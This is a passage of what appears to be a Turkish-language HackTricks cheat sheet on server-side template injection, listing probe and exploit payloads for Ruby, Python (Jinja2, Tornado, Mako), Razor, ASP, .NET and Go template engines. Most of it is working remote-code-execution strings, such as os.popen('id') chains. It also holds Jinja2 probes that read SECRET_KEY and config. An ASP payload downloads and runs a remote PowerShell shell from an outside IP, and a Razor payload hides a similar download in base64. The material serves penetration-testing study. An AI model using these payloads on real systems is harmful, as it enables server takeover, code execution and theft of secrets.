Daha fazla bilgi

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Daha fazla bilgi

Diğer Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Aşağıdaki sayfaya göz atın; Python’da arbitrary command execution bypassing sandboxes ile ilgili püf noktalarını öğrenmek için:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Daha fazla bilgi

Jinja2 (Python)

Official website

Jinja2, Python için tam özellikli bir şablon motorudur. Tam Unicode desteğine sahiptir, isteğe bağlı entegre edilmiş izole (sandbox) bir yürütme ortamı sunar, yaygın olarak kullanılır ve BSD lisanslıdır.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Şablon formatı

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE not dependant from __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja’yı kötüye kullanmaya dair daha fazla detay:

Jinja2 SSTI

Diğer payloads şurada https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Daha fazla bilgi

Diğer Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABAMAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. Bir vulnerable webapp örneğini şu adreste bulabilirsiniz: https://github.com/cnotin/RazorVulnerableApp

Daha fazla bilgi

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Daha Fazla Bilgi

.Net Kısıtlamaların Aşılması

.NET Reflection mekanizmaları, blacklisting’i aşmak veya assembly içinde sınıfların bulunmaması durumunu atlatmak için kullanılabilir. DLL’ler çalışma zamanında yüklenebilir ve temel nesnelerden erişilebilen yöntemler ve özellikler aracılığıyla kullanılabilir.

DLL’ler şu yöntemlerle yüklenebilir:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - dosya sisteminden.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - doğrudan istekten.

Tam komut çalıştırma:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Daha Fazla Bilgi

Mojolicious (Perl)

perl olsa bile Ruby’deki ERB gibi tag’ler kullanır.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Go’nun template motorunda, kullanımının doğrulanması belirli payload’larla yapılabilir:

  • {{ . }}: Veri yapısına gönderilen girdiyi gösterir. Örneğin, Password özniteliğine sahip bir obje iletilirse, {{ .Password }} bunu açığa çıkarabilir.
  • {{printf "%s" "ssti" }}: “ssti” string’inin görüntülenmesi beklenir.
  • {{html "ssti"}}, {{js "ssti"}}: Bu payload’lar “ssti” döndürmeli, “html” veya “js” eklememelidir. Daha fazla direktif Go dokümantasyonunda here incelenebilir.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template paketi ile, payload doğrudan eklenerek XSS kolayca gerçekleştirilebilir. Buna karşılık, html/template paketi bunu önlemek için yanıtı encode eder (ör., {{"<script>alert(1)</script>"}} &lt;script&gt;alert(1)&lt;/script&gt; sonucunu verir). Bununla birlikte, Go’da template tanımlama ve çağırma bu encode işleminden kaçınabilir: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

RCE exploitation, html/template ile text/template arasında önemli ölçüde farklılık gösterir. text/template modülü herhangi bir public fonksiyonu doğrudan çağırmaya izin verir (“call” value kullanılarak), bu html/template’de izinli değildir. Bu modüller için dokümantasyon here for html/template ve here for text/template adreslerinde mevcuttur.

Go’da SSTI aracılığıyla RCE için, nesne metotları çağrılabilir. Örneğin, sağlanan nesnede komut çalıştıran bir System metodu varsa, {{ .System "ls" }} gibi istismar edilebilir. Bunu istismar etmek genellikle kaynak koda erişim gerektirir; örnekte olduğu gibi:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Daha fazla bilgi

LESS (CSS Ön işlemcisi)

LESS, değişkenler, mixin’ler, fonksiyonlar ve güçlü @import yönergesini ekleyen popüler bir CSS ön işlemcisidir. Derleme sırasında LESS motoru, (inline) seçeneği kullanıldığında @import ifadelerinde referans verilen kaynakları getirir ve bunların içeriklerini sonuç CSS’e gömer (“inline”).

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

More Exploits

Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

If you think it could be useful, read:

Tools

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Referanslar

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin